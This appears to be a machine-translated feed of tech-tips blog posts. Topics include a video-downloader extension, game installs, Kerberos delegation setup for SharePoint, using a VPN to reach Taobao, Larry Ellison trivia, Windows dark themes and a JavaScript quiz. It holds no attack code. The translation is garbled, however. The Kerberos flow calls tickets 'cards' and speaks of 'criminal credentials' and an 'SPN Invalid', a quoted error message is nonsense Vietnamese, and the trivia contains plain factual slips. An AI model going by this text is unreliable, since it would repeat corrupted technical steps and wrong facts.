below, there will be 2 video files with different video download quality.\n  Step 5:\nTo download videos or watch videos right at the Skyload interface, click on the 3 vertical dots icon and press Play to watch the video.\n  Step 6:\nIn the video playback interface right on Skyload, you will have quite a lot of options such as transferring items in the list, stopping / playing videos, etc. Besides, the quality and quality of the videos are also clearly displayed in the interface. this.\n  When clicking the Open button , the video will be transferred to the new video view interface. Here you can click the Download icon to download the video.\n  Or we can click the Download button to download the video to the computer.\n  Users can use Skyload to download videos on Facebook , or download Instagram videos without having to open another online service.\n  To download audio files using the Skyload utility , for example on SoundCoud, we also perform the same operation. Also click on the 3 dots icon and select Download to download the audio file to your computer.\n  Step 7:\nTo download the entire video in the list, we play the video and pause. Then click on the utility icon to select Multiupload in the interface.\n  Here you will have 2 options to download videos, download all (All) or select videos to download (Several) in the list. With the option to download the entire video click on All . You will see the total number of files and the size of the entire video, click Download to download.\n  If you want to select the video to download , click the Several button . Next, select the videos you want to download and click Download to download.\n  Step 8 :\nTo stop the whole process of downloading videos , click on the Loading button in the Skyload interface, then select Cancel to turn off downloading files on Skyload.\n  In general, the Skyload utility works effectively, capturing video links very quickly on video sites, or audio. The utility will display the formats that the video provides, the entire video that Skyload detects for you to choose to download the whole or choose to download some videos in the list. Some websites that Skyload integrated will display Download button in the interface.\nHowever, the only minus point for Skyload is that it does not support users to download Youtube videos on Chrome. Hopefully in the future, the manufacturer will fix this problem on Skyload.\nI wish you all success!\nSee also: How to download Facebook videos to computers quickly without software\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0t9ilppqcXarBqrjIrbBmrJ9isbDDzaWmmpxdosK0tcJmmKecXau2pbHOrGSopl2uvLa%2BjJympqilqbKz\n","link":"/post/how-to-use-skyload-utility-to-download-music-and-videos-on-your-computer/","section":"post","tags":null,"title":"How to use Skyload utility to download music and videos on your computer"},{"body":"Ring of Elysium, the game has the same gameplay compared to PUBG with survival gameplay and is considered by many gamers as PUBG version of China. Despite the similar gameplay, Ring of Elysium still has certain differences.\nIn Ring of Elysium, the character's interaction with the surroundings will be better when the game allows players to destroy their surroundings. In addition, players will have the opportunity to control a variety of quite unique vehicles in the game such as bicycles, tanks, hang gliders (hang gliding), underwater combat.\nPreviously, Ring of Elysium used to block Vietnamese ip and make many gamers have to fake ip to download and play Ring of Elysium. And so, the network speed will be a bit slow when experiencing the game.\nBut now you can download Ring of Elysium officially on Steam without having to fake ip like before. Here are instructions for downloading and installing ROE on the computer.\n4 web-based survival games are gentle but attractive like PUBG TOP best survival game on PC and download link How to use Steam Play to play Windows games on Linux How to download Ring of Elysium on Steam doesn't need fake ip Step 1: Start and log in your Steam account, then search for the Ring of Elysiusm keyword on Steam. When you see the results of Ring of Elysium appear as shown below, click on it to download.\n  Step 2: Scroll down below the image introduction and press Play Game to start downloading Ring of Elysium on the computer.\n  If you download the game for the first time on Steam, the game will default to the C: drive, which contains your Steam folder. If your C: drive doesn't have much space, click on the small triangle icon to select the installation path to another drive.\n  You can choose drive D: or drive E: to put Ring of Elysium in, click New Folder to in the SteamLibrary folder and click Select to select the installation folder.\n  The game has an average capacity, so the download time will not be too long. It takes 1 to 2 hours depending on your network connection.\n  When downloading is complete, go to your Game Library and press Play to play Ring of Elysium.\n  To play Ring of Elysium, your minimum configuration requires Core 3-8130U or higher.4GB RAM capacity and Nvidia GT 730 graphics card . At this configuration level you can set the settings to Low - Medium level and the level of such graphics is enough for you to experience Ring of Elysium on your PC.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaKeu6h5zp9knqSpqLa2uYyopWasmJp6pLvMqaytnaI%3D\n","link":"/post/instructions-for-installing-ring-of-elysium-on-the-computer/","section":"post","tags":null,"title":"Instructions for installing Ring of Elysium on the computer"},{"body":"Pokemon Master, mobile strategy game possesses a very different gameplay. Collect all the characters in the Pokemon series. Pokemon Master is one of the latest Pokemon brand products.\nThe game will focus more on the Trainer, not on Pokemon like other games. Instead of having to take turns in traditional battles, players will have to participate in 3v3 matches in real time. You will be able to choose 3 pairs of assimilation to fight against AI opponents, the goal of the Trainer is to be the champion of Pokemon Masters League.\nCurrently the game has appeared on iOS and Android operating systems, if you want to download and play Pokemon Master on your phone, follow the instructions below.\nInstructions for downloading Game For Peace on the phone Instructions to download Ring of Elysium on your computer Instructions to install World of Warcraft Classic on the computer Instructions for downloading and playing Pokemon Master on the phone Step 1: First to download Pokemon Master to your computer, choose CHPlay. Find the keyword pokemon master as shown below and click Install to download the game, after downloading and installing Pokemon Master, click Open to start the game. Then click Tap to Start to enter the game.\n   Step 2: Next you need to accumulate 3 terms of Pokemon Master and click Continue to enter the game. If there is an update that comes with the update size, click Yes to update the game, after the update is complete, reset the game to enter.\n   As soon as you enter the game, you will be opened with the Story section, the characters in the story will begin with the lines. You can click on the dialog to continue the story.\nNext, you will be playing against the enemy team, choosing one of the three skill boards of your pokemon to use your skills and potions to heal.\n   Basically so, how to download Pokemon Master on iOS is similar, but when you enter the game you will have a few small changes such as choosing the character appearance first, can choose CO-OP mode or single player mode .\n   There are many interesting things waiting for you to explore in the world of pokemon master, there are a lot of super huge pokemon from many games waiting for you to win.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2np6O5sK3DZqeoo5WivK95zJqqrZ2iYryvedOhnGaomKS7pg%3D%3D\n","link":"/post/instructions-to-download-pok%C3%A9mon-master-on-the-phone/","section":"post","tags":null,"title":"Instructions to download Pokémon Master on the phone"},{"body":"Jesper M. Christensen\nNetwork Administration - Microsoft Windows Sharepoint Services (WSS) 3.0 and Microsoft Office Sharepoint Server (MOSS) 2007 are designed to focus information and help team members collaborate effectively. Users can access all the information in individual accounts if allowed from the Sharepoint website.\nIn this article, I will show you some basics to use Kerberos in a Sharepoint environment. You will find many configuration instructions for different scenarios and some tips here and we hope this article can provide you with an overview of your own environment.\nUsing Kerberos in Sharepoint?\nKerberos is a secure protocol that allows tabbed authentication if the client request to the Key Distribution Center (KDC) has valid user certificates and service names - Service Principal Name (SPN) Invalid. Kerberos is the preferred type of authentication in Sharepoint because of its speed, more security and reduced number of errors with usernames and passwords than NTLM. If the Sharepoint website uses external data (located on servers other than your Sharepoint server) for the SQL database through the webpart, then the server needs Kerberos to delegate client certificates.\nSo what happens between the client and the server when you access a website that allows Kerberos? We have created an overview summary to show what will happen behind the script. This scenario shown in Figure 1 is created from Windows Sharepoint Services 3.0.\n  Figure 1: Kerberos in Sharepoint flow\nThe client accesses http:///intranet.domain.local with anonymous certificates WSS Server returns an IIS error 401.2 error but also returns a WWWAuthenticate header. The client requests the card for the SPN created by the internal Internet browser: HTTP / intranet.domain.local KDC returns the card if the SPN is detected. This is encrypted with the account holder key registered for SPN (domainspcontentpool). Client appraises with the card for the web application. Web App account decodes the card and validates it. Web App account requires card for SPN created by SQL Client: MSSqlSvc / sql1.domain.local: 1433. KDC returns the card if the SPN is found. This is encrypted with the master key of the account registered for the SPN (domainsqlsvsacct). Service appraisal web application with the QLS database with the web application account card and play the user with credentials. SQL service account decodes the card and validates it. SQL Server returns the requested data for WSS Server. The WSS Server returns to the webpage. If Kerberos is not configured for SQL communication, jump from step 6 to step 12. Remember that allowing the tag to happen only at the first login and until the timeout.\nConfigure Kerberos for Sharepoint\nFirst we recommend that you create a test installation before reconfiguring the production environment. Knowing this problem will be difficult for you, but if you have virtual servers, you can build test servers quickly and easily. This also allows you to compare the final configuration if something does not work as expected.\nTherefore, we need to remove NTLM on our web applications and configure it to use Kerberos. First you disable this communication protocol between frontend and backend servers. Then enable Kerberos between clients and separate web applications to manage authentication through Sharepoint servers (you can call it dual- or double-hop authentication).\nConsider the list that needs to be done for these settings.\nCollect the necessary information and create Sharepoint users Enable Kerberos for SQL communications Configure Service Principal Names (SPNs) in Active Directory Configure 'trust trust' for computer and user accounts Configure Component Services on Sharepoint servers Enable Kerberos for web applications and Shared Service Provider (SSP) Test Sharepoint environment Collect the necessary information\nTo make it easy and harmless for operating systems, we need to have all the blocks ready. Suppose your environment is running Active Directory and each server has a unique IP address. This must be registered in the DNS server and no duplication exists in the forward and reverse lookup regions for Kerberos to work. In addition, all servers and clients must be set in time as Kerberos uses to validate tags and access for internal DNS servers.\nBefore installation, Sharepoint will create appropriate users in Active Directory. If you have created these necessary accounts, read the following sections.\nThis is a list of essential information for Kerberos setup in a Sharepoint environment.\nService class of SPN (HTTP for WSS / MOSS web applications. MSSQLSvc for SQL Server by default) Host name of SPN Fully Qualified Domain Name (FQDN) for all wen applications and servers Your port number or SPN (there are no ports for WSS and MOSS web applications. 1433 for SQL). Active Directory accounts for SPNs (services and application accounts) Enable Kerberos in SQL communications\nMicrosoft recommends taking this step before installing Microsoft Sharepoint to ensure that the SQL communication will work. The configuration database is located in the SQL server and if the connection is broken, you need to fix it before the Sharepoint sites are set up and run again. If you change the authentication after initial installation, you must turn off Sharepoint services to avoid losing data.\nEnable Kerberos between Sharepoint frontend servers for your SQL server by:\nConfigure SPN Configure trustworthiness for delegation if you need to act as a user in other services. It is not necessary to enable Kerberos in SQL communications if you only need to authenticate clients for the frontend Sharepoint, without other services such as data connection, Excel Services / SQL Reporting.\nConfigure Service Principal Names (SPNs) in Active Directory\nThe Service Principal Name mapping is used by Kerberos to allow a service delegation to impersonate a user service account. An SPN includes Service Class, hostname and sometimes a port number. Some examples here are HTTP / intranet.domain.local and MSSqlSvc / sql1.domain.local: 1433 . You should register both hostname and FQDN for your web applications even though they usually only use one of them.\nTo configure the Service Principal Name, you can use several tools. We use the SetSPN-tool component installed in Windows Server 2008 by default. For Windows Server 2003, this component can be found in the support tools section of the installation CD-ROM or in the resource kit section downloadable from Microsoft. You can also use ADSIedit to configure SPN, but this takes a bit of work to navigate through the Active Directory, editing the items and changing their ServicePrincipalName .\nThe command to register an SPN: setspn.exe –A HTTP / intranet.domain.local DOMAINAccount The command lists the SPN for an account: setspn.exe - L DOMAINAccount The command deletes an SPN: setspn.exe –D HTTP / intranet.domain.local DOMAINAccount\nUse the tables in Figures 2 and 3 to see the necessary registrations for SQL in MOSS and WSS scenarios\n   Figure 2: Delegation and SPN for MOSS\n   Figure 3: Delegation and SPN for WSS\nConfigure trust for credentials on computer and user accounts\nNow you need to manage delegate rights in Active Directory. This can be done for computer and user accounts as you can see in the table above. In Active Directory Users and Computers, right-click on the account, select properties and check the trusted part of the delegation (see the information in Figure 4 and 5 below). Text or procedure may differ in versions of Windows Server.\n  Figure 4: Delegation for computer account\n  Figure 5: Delegation of user accounts\nSee Figure 2 and 3 for accounts for configuring criminal credentials in the script.\nConfigure component services on Sharepoint server\nWeb application accounts need to have legitimate rights or you will receive a DCOM error with the event code 10017 in your event log and described in Microsoft KB920783:\n'The application-specific permissions settings do not grant Local Activation permissions for the COM Server application with CLSID {CLSID} to the user DomainNameUserName SID {SID}. Đã có quyền quyền hạn này có thể được sử dụng sử dụng phần mềm của công cụ điều khiển. '\nWith the appropriate security settings for the accounts, simply go to Control Panel, Component Services , Computers, My Computer, DCOM Config and edit the properties of 'IIS WAMReg Admin Service'. Edit 'Launch and Activate' in the Security tab and 'Local Activation' permissions for application accounts (see Figures 2 and 3).\nWhen you are in Component Services, set 'Default Impersonation Level' to 'Delegate' by editing the properties of 'My Computer'.\nEnable Kerberos for web applications and Shared Service Provider (SSP)\nYour basic configuration will be done now. To use Kerberos you must enable it through the Central Administration for your web applications. We can choose between NTLM and Kerberos for separate web applications on the Authentication Providers page that you will find in the Application Management panel. Follow this path to configure:\nCentral Administration, Application Management, Authentication providers Select your web application to use Kerberos for, for example:   Click 'Default' Select or check the Kerberos option   Restart IIS with iisreset / noforce in the command prompt on your front end servers. In MOSS, your Shared Service Provider must also be configured and you do so in a command prompt. The SetSharedWebServiceAuthn command does not exist in WSS. Navigate to the 12-hive directory (usually in C: Program FilesCommon FilesMicrosoft Sharedweb server extensions12bin ) and run the command: stsadm.exe -o SetSharedWebServiceAuthn -negotiate\nTest Sharepoint environment\nNow go to the existing part of the activity: Make sure everything works as expected.\nCheck the security log for Kerberos login events. Domain account checking has been used. If the account has an error log, check the following:\nThe date and time are set correctly on all servers The account is not locked in the domain Service or application is working with the correct account The credentials are configured correctly on computer and user accounts The SPN is correctly configured in Active Directory There is no duplication on servers that exist in DNS forward and reverse zones The DNS server is properly assigned on all servers Version issues for Internet Explorer \n If you use non-default ports on your IIS Virtual server, make sure that the version of Internet Explorer you are using is Internet Explorer 6 or has been patched and configured to have ports in the SPN. The Central Administration will contain a non-default port number. Note here that you will not see an error message saying that this error is due to using an inappropriate version of Internet Explorer\nConclude\nMicrosoft Windows Sharepoint can be used in complex environments where secure authentication with Kerberos is needed. This article is provided to you in the hope of explaining some of the big Kerberos page problems in Sharepoint settings. Basic tools and configurations are available so you can start using the great features of Sharepoint with dual-hop authentication.\nncG1vNJzZmismaXArq3KnmWcp51kuKa%2BwZ6pqKtdnrtuv8eaqZ6on567tXnEp62iqp%2Bjuqa60w%3D%3D\n","link":"/post/kerberos-in-sharepoint-environment/","section":"post","tags":null,"title":"Kerberos in Sharepoint environment"},{"body":"Currently many Vietnamese users cannot access the taobao.com website, 1688 to view and buy products.\nProbably because the site has blocked IP Vietnam, you can use VPN software, fake IP to change IP to another country, if you are using a computer, to access taobao.com.\nIf you use the phone, download Opera's Opera VPN, select the country that is Singapore is normally accessible.\nHow to use VPN on Opera browser How to use Opera VPN to fake IP, create VPN on the phone If you are unable to access taobao then follow the instructions below!\nHow to access taobao, 1688 on the computer: You download the latest Opera browser to your device and install it.\nAfter installation is complete, open the browser, click on the red O symbol in the upper left corner\u0026gt; Settings:\n  Select Next Privacy \u0026amp; security\u0026gt; Scroll down to find VPN, check Enable VPN:\n  Okay, so you can access mebao by typing taobao.com into your browser!\n  Access to taobao, 1688.com on the phone: Download Opera VPN, then install:\nDownload Opera VPN for Android Download Opera VPN for iOS Open Opera VPN, select Change Region:\n  In the list of countries that appear, you choose Singapore:\n  Wait a moment for Opera VPN to roam, then you can open your browser, enter taobao.com and access it normally:\n  According to some comments, this website is proceeding to cut down access to maintain the system, preparing for the largest, most important 12/12 sale in the year. Most likely, Vietnam is on the restricted list this time.\nNo problem, just follow the instructions above, you can access taobao.com normally, though a bit \"swirled\" a bit, but still okay.\nSee also: 10 ways to access Facebook and websites that cannot access\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjKCcrayZo7Rutc2tpmaskaSvoruMam1xcF2prrCuwKiaqKVdnsBussCuo62xXam1qr%2BMoqpmrJiaeqat0qKcrKxdrK66edOoZKCdpGLBsHnTmqabmZ9is7C%2BjLKmrg%3D%3D\n","link":"/post/not-getting-into-taobao-1688-taobao-com-is-faulty-this-is-the-easiest-way-to-get-to-taobao-for-you/","section":"post","tags":null,"title":"Not getting into taobao, 1688, taobao.com is faulty, this is the easiest way to get to taobao for you"},{"body":"Including in 2007, Vietnam's first and only laptop alliance sold about 2,000 laptops, out of a total of more than 200,000 laptops sold in Vietnam. Lien Viet Thanh - Vietnam's first laptop alliance between 7 computer companies was born in early 2007 with V-Open branded laptops. The goal of businesses joining the alliance is to bring V-Open to become a Vietnamese laptop brand, able to compete with foreign laptops that are storming the Vietnamese market. However, after more than a year of operation, a member of the coalition (proposed not to be named) said the alliance is facing many difficulties and is in danger of breaking up. For more than a year, the alliance sold only about 200 laptops per month, far below the initial target of 1000 laptops / month.\n  The VOPEN® GL30 ARDORY T5500 laptop is priced at $ 1,155 with the Centrino CORE 2 DUO specification (2x2.00GHz).Ram 512MB.160Gb SATA hard drive.14.1 WXGA screen\nPham Thien Nghe, director of Khai Tri Computer Company, a member of the coalition, said: ' Laptop assemblers in the country are facing many difficulties, because customers have not put their trust in Vietnamese brand laptops. ' . According to Mr. Nghe, cheap V-Open laptop from 500-700 USD right after delivery has the same cost, so when sold out there is almost no profit. Meanwhile, foreign brand computer manufacturers find ways to reduce prices to compete in this computer segment, especially Acer. Almost every time the V-Open has a low-cost line, they immediately release a similar or even cheaper product. The V-Open's mid-range laptops cost from $ 800-1,000, about 20% cheaper than comparable brands of foreign brands. However, ' consumers of this laptop segment are mainly agencies and businesses. Merchants do not like domestic labeling products. And the high-end laptop line is especially difficult to sell . \", Mr. Nghe said. Launched on January 9, 2007, Lien Viet Thanh consists of 7 members, namely Khai Tri, Viet Quang - Ezone, and Hoan Long (in Ho Chi Minh City); Dac Nhan (Dong Nai); TH Nha Trang (Nha Trang); HueTronics (Hue); Thuy Linh (Hanoi).  The goal of the alliance is to manufacture and trade a Vietnamese laptop brand: V-Open. In fact, before that, in May 2006, V-Open launched consumers. Currently, V-Open has 3 main product lines:  * The mainstream - Vopen Talenty - costs 599 USD and 799 USD.  * Intermediate line - Vopen Innopen - price 853 and 979 USD.  * High-class line - Vopen Ardory - price 1,250 and 1,500 USD. This line specifically has security features by fingerprint and passworld.\nncG1vNJzZmismaXArq3KnmWcp51kw6qx06eYpp2jmnqtrc%2BtpqllkaG5qq3NnJxmoaNitq95w5qloJ2iYrynecGrnJqjmaO0bsHP\n","link":"/post/vietnamese-laptop-alliance-is-in-danger-of-breaking-up/","section":"post","tags":null,"title":"Vietnamese laptop alliance is in danger of breaking up"},{"body":"Larry Ellison, founder and president of international technology group Oracle, is one of the most interesting figures in the technology world.He is famous for his lavish lifestyle and business acumen.In other words, the people respect this billionaire because he is good at both business and spending money, with playboys who are not like anyone.Here are 30 amazing facts that you may not know about Larry Ellison:\n1. Larry Ellison is currently the 10th richest person on the planet, with a net worth of $ 58.5 billion (according to Forbes).\n2. Larry Ellison's real name is Lawrence Joseph Ellison was born in the Bronx district (New York) on August 17, 1944, the only son and 'result' of a reluctant affair between Mrs. Florence Spellman and a man. unknown men.Larry Ellison had years of turbulent childhood, emotional deprivation from both parents.When he was 9 months old, he was infected with pneumonia.Larry's mother sent him to Chicago to live with his aunt and uncle Lillian and Louis Ellison.The billionaire later did not see his real mother any time for nearly five decades.\n  3. Louis Ellison, the uncle and adoptive father of Larry Ellison, a Russian immigrant, took the name \"Ellison\" to commemorate the first place when he set foot in America: Ellis Island.\nSayings worth the \"godfather\" technology village Larry Ellison 4. Unlike Bill Gates, Larry Page or other tech billionaires, Larry Ellison has no conditions to interact with computers early, but talent and charm with technology have led him to the road. This is a very new and complex capital.Larry Ellison first got access to a real computer while in his second year of college.\n5. Larry Ellison attended two prestigious universities, the University of Illinois at Urbana-Champaign and the University of Chicago, but eventually decided to drop out of school to move to Berkeley (California) near Silicon Valley when he played. It appears that this is the time when the technology industry is preparing to make great strides in 1966. At the same time, Larry Ellison's adoptive mother died, causing him to seriously decline.\n6. Before the adoptive mother died, Larry Ellison was honored with the science student of the year award (science student of the year) at the University of Illinois.\n  7. The first company Larry Ellison co-founded in 1977, called Software Development Laboratories, with an initial investment of only $ 2,000, and $ 1,200 of which came from money. Larry's bag. Shortly after the establishment of the company, he and his partners won an important, two-year contract to build a database for the CIA. Larry Ellison and his team named this project \"Oracle\". After winning the first contract, Larry Ellison changed his company name to Relative Software Inc. in 1979. Three years later, he once again renamed his \"devoted child\" to Oracle Systems Corporation, and that is the giant technology corporation that we see today.\n8. In 1986, Oracle issued IPO shares and had $ 55 million in revenue for the year.\n9. However, in the early 1990s, Oracle was hit by a rather heavy \"seal\", making the company almost bankrupt.The reason is attributed to earlier, Oracle allows its salespeople to order under control, causing revenue to be unbalanced.This led to lawsuits, problems with managers, and Oracle had to give up 10% of its employees (about 400 people) because Larry Ellison thought it was \"an error that cannot be forgive in business \".Meanwhile, rivals like Sybase have occupied most of Oracle's market share, causing the company to stand on the brink of collapse.\n  Oracle wins the lawsuit against Google on Java copyright on Android 10. As an adventurer, Larry Ellison suffered countless injuries from participating in extreme sports, including mountain biking and surfing.But he thinks that risk is an integral part of his life, not only with sports but also in business.'Adventure in sports can make you lose your life, risking business can make us lose, but the point is that if we can overcome it, the result will be very sweet.'\n11. He was nominated for the Academy of Achievement in 1997.\n12. The Lawrence J. Ellison Ambulance Care Center was opened in 1998 and is the heart of Larry Ellison.He broke his elbow in an adventure bike accident and after a period of treatment, he felt like he was inspired to launch his charitable efforts on a larger scale, and so is the billionaire who invested 5 million dollars to open Lawrence J. Ellison center.\n13. When Steve Jobs returned to Apple in 1997, he invited Larry Ellison to the board because the two of them were close friends.From 1997 to 2002 Larry Ellison was both Oracle's CEO and director of Apple Computer.After 5 years of work, Larry Ellison resigned from his position at Apple because he did not have enough time for board meetings at both companies.\n  14. In 2000, Larry Ellison sued the city of San Jose after he was cited for alleged violations of rules surrounding take-off and landing of private aircraft at night at the International Airport. San Jose Mineta.And the result is a win for Oracle's boss.\n15. The year 2000 also saw a brief period that Larry Ellison rose to hold the richest person in the world.Larry Ellison's downloads have continued to increase, but his ranking on the list of the world's richest people has dropped significantly, falling to No. 10 with $ 58.5 billion.\n16. In 2006, Forbes declared Larry Ellison the richest person in California.\n17. By 2002, Larry Ellison had a $ 1 billion credit.In the following years, he continuously pushed his credit limit to the maximum with luxury deals including villas, yachts and luxury cars.\n  18. A book published in 2003, written by investigative journalist Mike Wilson, went straight to the analysis of what made Ellison's legendary reputation.It's titled: The Difference Between God and Larry Ellison: God doesn't think he is Larry Ellison.\n19. Larry Ellison is the owner of one of the most expensive private real estate deals in US history, after he bought five Malibu Carbon Beach gold plots in 2004 for $ 65 million. la.\nHow do the richest people in the world like Jeff Bezos \"spend money\"? 20. In 2012, the billionaire also decided to play big when buying an entire island of the Hawaiian Islands for 600 million dollars.The island was purchased by Larry Ellison named Lanai, belonging to the Hawaiian Islands on the Pacific Ocean, an area of ​​about 367 km2.Before leaving for Larry, Lanai Island is owned by Castle \u0026amp; Cooke Inc.\n  21. Larry Ellison is also said to own hundreds of millions of dollars of real estate around the world, including a Rhode Island estate and historic gardens in Kyoto.\n22. Larry Ellison is also a person who likes to collect . aircraft.He owns several aircraft with his name, including private jets and two fighters, SIAI Marchetti S.211 and MiG-29 (has ceased operations).In addition, he is also a true pilot, licensed and fully trained.\n23. In 2006, Larry Ellison created a wave of protests after dismissing the commitment to donate $ 115 million to Harvard University because of the departure of the principal not long ago.\n24. From 2007 to 2009, Larry Ellison's salary is $ 50 million per year (sometimes more).However, in August 2009, his basic salary was reduced from $ 1 million to $ 1.\n  25. Until 2010, Larry Ellison was the owner of the tenth largest yacht in the world, named Rising Sun.This is a motor yacht, 138m long, and costs more than 200 million USD.It owns five floors, 82 rooms, including bedrooms, jacuzzi baths, bars, gyms, spas, plasma cinemas and even basketball courts and helipads.The yacht is now owned by David Geffen, the owner of Geffen Records.\n26. In 2010, one of Larry Ellison's $ 8 million yachts was flipped over San Francisco Bay on a trip.Fortunately, no human damage has been recorded due to the fully equipped safety equipment on board.\n27. Larry Ellison married and divorced a total of four times.In it, Larry Ellison's second wife married him before Oracle was founded and they divorced shortly after Oracle launched shortly.\n28. When Larry Ellison is married to his fourth wife - romantic novelist Melanie Craft, his good friend Steve Jobs is an amateur wedding photographer.\n  29. Currently Larry Ellison is rumored to date model / actor Nikita Kahn.\n30. The two are supposed to inherit the fortune left by Larry Ellison as his sons, David and Megan Ellison, and the result of a third marriage between billionaire and Barbara Boothe.Currently, David and Megan are known for their own work in Hollywood as art producers.\n31. Ellison had a role as a guest (along with another technology tycoon, Elon Musk) in the 2010 blockbuster Iron Man 2.\n35 extremely interesting facts about Elon Musk you may not know yet 32. In 2011, Larry Ellison hired a \"tree lawyer\" (yes, you didn't see it for the first time) and took his neighbor to court for allegedly planting three redwood trees and an acacia tree to cover up. vision of his mansion.Eventually they agreed to resolve the conflict in terms of 'sentiment'.\n33. Larry Ellison is also the 128th billionaire to sign a commitment to Giving Pledge.This is a movement initiated by Bill Gates and Warren Buffett to encourage the richest people in the United States to pledge to donate most of their assets to charitable activities.Besides Larry Ellison, other famous billionaires have signed this commitment: Bill Gates, Mark Zuckerberg and Warren Buffet .\n  34. In addition to adventure sports, Larry Ellison has long been passionate about sailing, and in 2013, his Oracle team defeated the Emirates New Zealand team to win the American amateur rowing championship trophy.\n35. Larry Ellison resigned as Oracle's CEO in 2014, entrusting the company he built from early days to two colleagues he felt was the most reliable Hurd and Katz.Currently, Larry Ellison only holds two positions as executive chairman and CTO of Oracle.\n36. Larry Ellison tried but failed to buy two NBA teams, New Orleans Hornets and Golden Gate Warriors.Although not owning a professional basketball team, but the billionaire still built a modern basketball court called Oracle.\n  In addition to his innate technological and business talents, Larry Ellison is also a brave, energetic billionaire who never surrenders to fate, and is a generous man with a heart of humanity. post.Wishing Larry Ellison and Oracle will be even more successful in this 2019.\nSee more:\n20 most powerful figures in the world of technology part 2 - People change the world The story of the miserable life of Google CEO Sundar Pichai 29 meaningful statements by Bill Gates that freshmen need to remember Tanmay Bakshi, a 14-year-old boy, became an advisor to IBM, an AI expert ncG1vNJzZmismaXArq3KnmWcp51kgHF5yKernqqVqMGqusZmnZqbpKh6oq7Orqtmn5%2BZs6LAx56pZqyVmLWvu8uonrJlpp65ra3GnmSlmaKnxm6xy6WgrKee\n","link":"/post/30-interesting-facts-about-godfather-technology-village-larry-ellison/","section":"post","tags":null,"title":"30+ interesting facts about 'Godfather' technology village Larry Ellison"},{"body":"Dark Themes have been popular recently, from mobile applications to computer operating systems.\nTheir benefits are easy to read, reduce eye aches, and they look so mysterious?\nFortunately, there are many great dark themes available for download that fit every style. These are 5 of the best dark themes.\nHow to change the theme   As usual, right-click the screen and select Personalize \u0026gt; Themes or select Start \u0026gt; Settings \u0026gt; Personalization \u0026gt; Themes . Then click, Theme Settings and edit the necessary options.\nWindows 10 Official Dark Theme Microsoft received criticism from some users because there was no official dark theme. Yes, there are high-contrast options used, but there are no soft and easy-to-read options.\nMicrosoft has decided to update the entire dark theme of the system to become a new feature available. It can be theme enabled via registry hack but is finally available on the Theme Settings menu.\n  See this article to activate Dark Theme on Windows 10 Anniversary Update.\nDark / Gray Windows 10 Theme - High Contrast Dark / Gray Windows 10 - High Contrast theme available for download on DevianArt .\nUnlike some other themes in this list, it can be installed without using the third tool or editing any system files, so it is suitable for those who like simplicity.\n  The developer said that because of the Microsoft dark theme options limit, he created a high-contrast theme. So, you need to check to see if it suits your needs.\nTo start using it, download the theme file and place it on [USERNAME] AppDataLocalMicrosoftWindowsThemes.\nPenumbra 10 These themes are only available for Windows 10, so if you try to use a theme for Windows 7 or 8 it will not work.\nThe theme is designed to use neutral dark colors, so there won't be any dazzling or unpleasant contrast on your screen.\n  The installation process is more complicated than other themes. Please make sure you have downloaded the following tools before installing anything:\nThe UXThemePatcher from skinpacks.com The Ribbon Disabler from DeviantArt Main theme First install Open Sans fonts. Then, install UXThemePatcher and finally Ribbon Disabler .\nNext, disable the ribbon using the Ribbon Disabler , then move the contents of the Visual Style folder to add it to C: WindowsResourcesThemes . Finally choose a theme in Theme Settings .\nYou can install additional themes by changing the color and opacity of Taskbar . This tool is available on the DevianArt page.\nNocturnal W10 Once again, this is a theme for Windows 10. Although it shares the same name as the copy of Windows 8, it does not work with older version operating systems.\n  Installing this theme is quite complicated. You will need four third-party applications before installing the main theme. That is:\nOldNewExplorer Classic Shell UXStyle First, open OldNewExplorer and check the Use Command Bar and Hide Up Button boxes. Next, disable Show Status Bar in Classic Shell and import the XML file by going to Classic Start Menu Settings \u0026gt; Backup \u0026gt; Load from XML .\nFinally, install Sans Semibold and main theme fonts.\nAdes Theme Instead of using the entire dark color, Ades Theme will be a better choice when using multiple gray tones mixed with some other colors.\nInstalling Ades Theme is easier to install than Nocturnal and Penumbra, although the third tool is the UXThemePatcher . You can, however, download files directly and directly into C: WindowsResourcesThemes .\nTo make the theme more beautiful, install the manufacturer's icon pack. It allows applying cool eye icons as shown in the picture below.\n  Warning Some of these topics dramatically alter your system files. Therefore, always create a system restore point and backup before installing them.\nI hope with this list, you will have a little more flavor for your computer screen. There are hundreds of themes available for you to choose and each theme has different attractive features.\nncG1vNJzZmismaXArq3KnmWcp51kgm6wwKuiZqyYmrqmv4yfpqtlp567pbvWrGRqaA%3D%3D\n","link":"/post/5-dark-themes-for-windows-10/","section":"post","tags":null,"title":"5 Dark Themes for Windows 10"},{"body":" JavaScript has become something almost obvious, when everyone uses it. When you use Facebook, you use JavaScript. When you write a tweet you use JavaScript ... If you are learning about JavaScript, the quiz below will give you lots of useful information. Let's start.\nQuestion 1. What is the prompt function (.) in JavaScript used for?\nDisplays information for entering information\n Display a message Yes, No\n There is no right option\n Both forms above\n  Question 2. In JavaScript what does parseInt () function do?\nConvert a string into numbers\n Convert a string to a real number\n Convert an integer into a string\n Convert a string to an integer\n  Question 3. Perform the test if the variable 'i' is not equal to 5, which statement is correct?\nif (i! = 5)\n  if i =! 5 then\n   Question 4. Which of the following IF statements is correct?\nif (i == 5)\n if i == 5 then\n if i = 5 then\n   Question 5. Which JavaScript statement is correct to make changes in the HTML element below?\nWebsite TipsMake.com.\ndocument.getElementById (\"demo\"). innerHTML = \"Welcome to TipsMake.com!\";\n # demo.innerHTML = \"Welcome to TipsMake.com!\";\n document.getElement (\"p\"). innerHTML = \"Welcome to TipsMake.com!\";\n document.getElementByName (\"p\"). innerHTML = \"Welcome to TipsMake.com!\";\n  Question 6.\nWhen running, open a new window to call TipsMake.com\n Can't run because it's wrong\n When finished, another site appears\n There is only one TipsMake.com page\n  Question 7. Are there any ways to write JavaScript code to run in a web page?\nBoth forms of writing separate files or writing in HTML pages\n Write together with HTML\n Write on a separate file\n Not in any form\n  Question 8. When does the OnMouseOver JavaScript event happen?\nWhen an object in form loses focus\n When moving the mouse over an object in the form\n When you click your mouse on the command button\n When an object in the form receives focus\n  Question 9. In when JavaScript Onclick event occurs when?\nWhen an object in the form receives focus\n When an object in form loses focus\n When clicking on an object in the form\n When clicking the command button\n  Question 10. Is JavaScript a scripting language that can hide the source code?\nUnable to hide because of client-side scripts\n 